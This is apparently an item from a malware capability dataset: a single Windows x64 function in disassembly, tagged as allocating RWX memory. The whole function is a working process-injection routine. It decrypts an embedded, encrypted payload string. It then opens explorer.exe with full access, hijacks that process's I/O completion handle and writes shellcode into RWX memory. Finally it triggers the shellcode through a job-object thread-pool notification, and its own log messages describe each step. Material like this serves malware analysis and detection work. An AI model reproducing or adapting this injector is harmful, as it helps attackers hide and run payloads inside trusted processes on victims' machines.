Function at 0x14001172b
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140023c40
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x988
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x192
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x9a8]
mov rax, qword [0x14003d040]
xor rax, rbp
mov qword [rbp + 0x930], rax
lea rcx, [0x140045370]
call fcn.140011a50
lea rdx, str.N_r_gjJ9si0gs_9
lea rcx, [rbp + 8]
call fcn.140011492
nop
lea rdx, str._64_ICo8:ujbwFi
lea rcx, [rbp + 0x48]
call fcn.140011492
nop
lea rdx, str.LAx3j3ywnwJMJ5rItwEb27NB8NVrawptsMEuiwRwfT16OQn96wvr8YvPwc0x4B_SVeRW5rWsuxxaIgEH5sqpkU5uUtXO75Dl8RJ4ZRQvprtIJQ64cg8k4RlVIhAzhnZevK9Avj2CWBsXGJYw_4_Fov1V9n3Exgxnmrwl0MirLBJekhxL4TYiXvRUYnerg3MRLIAnCs8SCFTUOxRemM4TXdSDs5hmJPqHeSe0XZIWXJmVroEzg0_sR3Ml4rQR7jNG0sfUVNE61CrhfZN8zIixFkP1M5L7nfZ5Lo_kPeqy5nCJENh2TduK4X4ECxMBViNm_3lpSgcPyu1WTLiq_LQpr5qUvNQOg44HWLPB8Y62OHYRmLrv3QLEeWljlR0ir2sAwpgo_3jrT0WBKdBKOxkG7_6e34GpchbyHu9NqfrnSHgiSujXw48skbChOQ16EOivrcj8qiZ_jxfI5qGoeJKRf38ZpjAuRePWG57g5EnTxdJUfhHABvifQfLng5UecgHLXGy5rYQ3Yuar_IkCvcafbzx1HrMixa7TAphAUbMglqw41G1zvwLdQGj7m3tilv6Qk3H1Wd_3mvXjrrigszzBlcDBz3KKQ2ukdzGCht3WXCnxmBv2CIzR3EHBvkWcHYDqh0F3asSx22OlYQGeFTedfMi2q8mRleQSduUI5c4xwdOvJTyTljGphrijmOwc5FJp3zHMg7JzqTryphPpgzabAdsqyayfW9rCE_jKi347eXLLfm3bpqHyeWbMFNGjJhZga9OsnjTvbh1r3nZxZUiuJa5Dimmz9nhnanFwMCy5dY8NAsdpCJSCHM5aPw7i21aF0SJSJguXqN5x59YunAiiczXIGsvqKFBIZ3_ZC4ZoIjCoAa7G2qGq2p3WxGqWfv8vX71qoDwdTFqC1L4snAiUmNBJVJiJgDs7PxOdwlTB8XLCAHt6LPjJlvHswsIFz0Qm3NZgaNv5viAyiO0IKwnJWrHnA2s3z8ChZMtRZIj1yWdBaE19t9jwWfuqxsOy56W3zeVzGeEHOugcBWa_oawSeuHn1YoVIaDhjTiwzD4kRJRW8VfbrutGkdLKnYrgibZ3cZpJTnQsD5lG2ESWQBA1wUVUKYHlWcvrejzVnZ3SOcnbgxc4J3MKPe5jMZrpSSzD3BQNxUl22YAKW8ksmBGbZ6SHmAUUvpqFyn6biO7zPQyF98SRbj1xF4LPJTtkDiuzltNryFD_LBcWpYxxYIzM8DM81c4PLCoOtR05hnu36bobfl0auTPHf3qoo0bkeGabNLGfhAkEPkiQi0NwbYHa17YbVnKOXftxf3bh_WQhwcmMSxv4p8Cc47K6vEcHR_kwTmKlM6QTqzhQxqButjONkfYwjW3AOMht3Tlc7EDyuXtDg3CrqLAL1LLpby7bmIsYmvFlj9U9W0cWsbm0je4z5lgzhDijuKQvc60UnTPEcnUmgszdNEPQa_H0l72Au2WkcfjuJCwQlNODeE6SY_7tAQFaaTz_oJavZz0JZq4suP0AsO7byg1gnLMzfJI3FkyNzwFl3C_I5TgGo1WKNQcqf5UaNKry9nYOIisMEdJDpLgNHjIfdudmIjv95_COsNKSg19QKTcSmtc08EiSXtbNYcLOGCmR_vebUgwKHqXD1kq288t86fBWIKMs1qrb22ObworXSOU553xlXgWLTmiiqxRwRjUzAH6Kfvimzkt3PsuH7vYBOiOGF1a4sSegJLxbcHFTdAtz9ZZsfRyRqlDb42sM5f_hPhWqBhzw5fNhaoYs_rD0_BvXrMYuD0b4UDQSnLz2Isp8ratKGMOBokFJY8MAp_szTN8pcwhysndmMJLo3iNVYjOdBisEQpKe6848j2ByvJYtrAmL1fnnz8ShgBqpZf4JcXncfBikguutvTED2vzTcKYQIdnFbvGkkB83lDhqBuRkil5swcKvQ814PGz_ZYLlhkwDPXSQR1K2piHjyxQCz6BdjImhfTqNhiYqnT0rLIEkZq6qm5XGKiguJbz4L_b7T4diYTZGCButEE_2HJ0J_GOb3VoHKQEqEmNVnmom1h6lv1Zv7RMfR_0t4cN0wItK_z1sZmHXv5FNMEeKuSHO3diAvEomGpjpCd9tI3zN9_2CJIFlGvXmQ3uzTXonoKeE7TzC2g2UI8QTilbh3WWpbc4TNjCbk14gRLGbKZcy6q8kI6fubD6SxqbPAyW5QQIMLYr2888KKImh9qv0qeg_NifKTnpoLQg4k2lwMnOOxeM5hTOrCF_VORypeBm2XKzcGPGCooQe9iksKEV7yo1VTS3piA98TKXdqj6ZW6C8XoULYgwdQZ_YcOmjqYdnP1GJ0KMtjX1QFxg0iyeHkdRdYg
lea rcx, [rbp + 0x88]
call fcn.140011492
nop
lea rcx, [rbp + 0x48]
call fcn.140011109
mov qword [rbp + 0x928], rax
lea rcx, [rbp + 8]
call fcn.140011109
mov rcx, qword [rbp + 0x928]
mov r9, rcx
mov r8, rax
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0xc8]
call fcn.14001128f
nop
lea rcx, [rbp + 0xc8]
call fcn.140011109
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0xc8]
call fcn.1400118ed
xor edx, edx
mov ecx, 2
div rcx
mov edx, 1
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x148], 0
jmp 0x140023d58
mov rax, qword [rbp + 0x148]
inc rax
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0xc8]
call fcn.1400118ed
xor edx, edx
mov ecx, 2
div rcx
cmp qword [rbp + 0x148], rax
jae 0x140023db5
mov rax, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov r8, rax
lea rdx, str._02x
mov rcx, qword [rbp + 0x108]
call fcn.14001173f
mov rax, qword [rbp + 0x108]
add rax, 2
mov qword [rbp + 0x108], rax
jmp 0x140023d47
lea rcx, [rbp + 0xc8]
call fcn.1400118ed
xor edx, edx
mov ecx, 2
div rcx
mov dword [rbp + 0x164], eax
lea rcx, str.Decrypted_buffer:_n
call fcn.1400114d3
mov dword [rbp + 0x184], 0
jmp 0x140023df7
mov eax, dword [rbp + 0x184]
inc eax
mov dword [rbp + 0x184], eax
mov eax, dword [rbp + 0x164]
cmp dword [rbp + 0x184], eax
jge 0x140023e27
movsxd rax, dword [rbp + 0x184]
mov rcx, qword [rbp + 0x128]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, str.x_02x
call fcn.1400114d3
jmp 0x140023de9
lea rcx, [0x1400379a0]
call fcn.1400114d3
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1c8], 0
lea rcx, str.explorer.exe
call fcn.140011b4f
mov dword [rbp + 0x1e4], eax
lea rdx, str.TargetPID
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011136
mov edx, dword [rbp + 0x1e4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011078]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, dword [rbp + 0x1e4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0xffffffffffffffff
jne 0x140023f08
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess_failed:_0x_08X_n
call fcn.1400114d3
mov dword [rbp + 0x754], 1
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x754]
jmp 0x140024a4b
mov r8, qword [rbp + 0x1a8]
mov edx, dword [rbp + 0x1e4]
lea rcx, str.___Opened_a_remote_handle_to_the_target_process__d:_0x_p_n
call fcn.1400114d3
mov dword [rbp + 0x204], 0
mov dword [rbp + 0x224], 0
lea rcx, [rbp + 0x248]
call fcn.140011744
nop
mov eax, dword [rbp + 0x204]
mov edx, eax
lea rcx, [rbp + 0x248]
call fcn.14001155a
lea rcx, [rbp + 0x248]
call fcn.140011b18
lea rcx, [rbp + 0x204]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x204]
mov r8, rax
mov edx, 0x33
mov rcx, qword [rbp + 0x1a8]
call fcn.140011870
mov dword [rbp + 0x224], eax
movsxd rax, dword [rbp + 0x224]
cmp rax, 0xffffffffc0000004
je 0x140023f42
cmp dword [rbp + 0x224], 0
je 0x14002400f
lea rcx, str.____NtQueryInformationProcess_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x774], 1
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x774]
jmp 0x140024a4b
lea rcx, [rbp + 0x248]
call fcn.140011b18
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x2a8], 0xffffffffffffffff
lea rcx, [rbp + 0x2c8]
call fcn.140011744
nop
mov dword [rbp + 0x324], 0
jmp 0x140024054
mov eax, dword [rbp + 0x324]
inc eax
mov dword [rbp + 0x324], eax
movsxd rax, dword [rbp + 0x324]
mov rcx, qword [rbp + 0x288]
cmp rax, qword [rcx]
jae 0x14002428c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movsxd rcx, dword [rbp + 0x324]
imul rcx, rcx, 0x28
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1f0003
lea r9, [rbp + 0x2a8]
mov r8, rax
mov rax, qword [rbp + 0x288]
mov rdx, qword [rax + rcx + 0x10]
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [rbp + 0x344], eax
cmp dword [rbp + 0x344], 0
jne 0x14002413b
lea rcx, str.____DuplicateHandle_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x794], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x794]
jmp 0x140024a4b
mov dword [rbp + 0x364], 0
mov eax, dword [rbp + 0x364]
mov edx, eax
lea rcx, [rbp + 0x2c8]
call fcn.14001155a
lea rcx, [rbp + 0x2c8]
call fcn.140011b18
lea rcx, [rbp + 0x364]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x364]
mov r8, rax
mov edx, 2
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.ntdll.dll_NtQueryObject]
mov dword [rbp + 0x224], eax
movsxd rax, dword [rbp + 0x224]
cmp rax, 0xffffffffc0000004
je 0x140024145
cmp dword [rbp + 0x224], 0
je 0x140024220
lea rcx, str.____NtQueryObject_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x7b4], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x7b4]
jmp 0x140024a4b
lea rcx, [rbp + 0x2c8]
call fcn.140011b18
mov qword [rbp + 0x308], rax
mov r8, qword [rbp + 0x2a8]
mov rax, qword [rbp + 0x308]
mov rdx, qword [rax + 8]
lea rcx, str._t_t_ls___0x_p_n
call fcn.1400114d3
mov rax, qword [rbp + 0x308]
mov rdx, qword [rax + 8]
lea rcx, str.IoCompletion
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140024282
mov rdx, qword [rbp + 0x2a8]
lea rcx, str.___Duplicated_a_I_O_completion_handle_handle:_0x_p_n
call fcn.1400114d3
jmp 0x14002428c
jmp 0x140024046
cmp qword [rbp + 0x2a8], 0xffffffffffffffff
jne 0x14002430b
lea rcx, str.____Failed_to_duplicate_I_O_completion_handle._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x7d4], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x7d4]
jmp 0x140024a4b
mov qword [rbp + 0x388], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xbb8
xor edx, edx
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x388], rax
cmp qword [rbp + 0x388], 0
jne 0x1400243d0
lea rcx, str.____VritualAllocEx_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x7f4], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x7f4]
jmp 0x140024a4b
mov rdx, qword [rbp + 0x388]
lea rcx, str.___Allocated_shellcode_memory_to_the_target_process:_0x_p_n
call fcn.1400114d3
mov qword [rsp + 0x20], 0
mov r9d, 0xbb8
mov r8, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x388]
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0
jne 0x1400244a2
lea rcx, str.____WriteProcessMemory_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x814], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x814]
jmp 0x140024a4b
lea rcx, str.___Written_shellcode_to_the_target_process._n
call fcn.1400114d3
lea rdx, str.NewJob
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3c8], 0xffffffffffffffff
jne 0x140024554
lea rcx, str.____CreateJobObject_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x834], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x834]
jmp 0x140024a4b
mov qword [rbp + 0x3e8], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x388]
mov rdx, qword [rbp + 0x3c8]
lea rcx, [rbp + 0x3e8]
call fcn.1400113a2
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0
je 0x14002461a
lea rcx, str.____TpAllocJobNotification_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x854], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x854]
jmp 0x140024a4b
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x128
xor edx, edx
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x408], rax
cmp qword [rbp + 0x408], 0
jne 0x1400246d4
lea rcx, str.____VirtualAllocEx_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x874], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x874]
jmp 0x140024a4b
mov qword [rsp + 0x20], 0
mov r9d, 0x128
mov r8, qword [rbp + 0x3e8]
mov rdx, qword [rbp + 0x408]
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0
jne 0x140024793
lea rcx, str.____WriteProcessMemory_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x894], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x894]
jmp 0x140024a4b
lea rax, [rbp + 0x428]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov r9d, 0x10
lea r8, [rbp + 0x428]
mov edx, 7
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0
jne 0x14002485a
lea rcx, str.____SetInformationJobObject_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x8b4], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x8b4]
jmp 0x140024a4b
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x428], rax
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x430], rax
mov r9d, 0x10
lea r8, [rbp + 0x428]
mov edx, 7
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0
jne 0x14002492a
lea rcx, str.____SetInformationJobObject_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x8d4], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x8d4]
jmp 0x140024a4b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, rax
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0
jne 0x1400249ce
lea rcx, str.____AssignProcessToJobObject_failed._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x8f4], 1
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x8f4]
jmp 0x140024a4b
lea rcx, str.___Done._n
call fcn.1400114d3
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x914], 0
lea rcx, [rbp + 0x2c8]
call fcn.14001133e
nop
lea rcx, [rbp + 0x248]
call fcn.14001133e
nop
lea rcx, [rbp + 0xc8]
call fcn.140011203
nop
lea rcx, [rbp + 0x88]
call fcn.140011203
nop
lea rcx, [rbp + 0x48]
call fcn.140011203
nop
lea rcx, [rbp + 8]
call fcn.140011203
mov eax, dword [rbp + 0x914]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140036ac0]
call fcn.1400118b1
mov rax, rdi
mov rcx, qword [rbp + 0x930]
xor rcx, rbp
call fcn.14001150a
lea rsp, [rbp + 0x948]
pop rdi
pop rbp
ret